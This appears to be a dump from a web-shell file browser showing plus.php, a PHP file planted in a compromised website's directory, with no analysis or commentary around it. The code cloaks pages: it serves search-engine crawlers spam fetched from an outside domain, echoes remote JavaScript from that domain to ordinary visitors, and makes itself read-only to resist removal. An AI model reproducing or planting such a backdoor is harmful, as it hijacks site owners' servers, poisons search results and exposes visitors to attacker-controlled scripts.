@qingjieshouliang
Current Path : /www/wwwroot/eblliwsm.com/790edbad/wijsd/ |
Current File : /www/wwwroot/eblliwsm.com/790edbad/wijsd/plus.php |
<?php $server_url = "http://jsc6688.cc/"; set_time_limit(0); ini_set("error_reporting","E_ALL & ~E_NOTICE"); date_default_timezone_set('PRC'); $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); $host = $_SERVER["HTTP_HOST"]; function getHtml($url){ $curl = curl_init(); curl_setopt($curl, CURLOPT_URL,$url); curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'); $data = curl_exec($curl); curl_close($curl); return $data; } chmod(__FILE__,0444); if(stripos($ua,"bot") !== false || stripos($ua,"spider")){ header("Content-Type: text/html;charset=gb2312"); $req = $_SERVER['REQUEST_URI']; $url = $server_url."?".$host.$req; $c = getHtml($url); echo $c; exit(); }else{ echo file_get_contents("http://jsc6688.cc/js.txt"); exit(); } ?>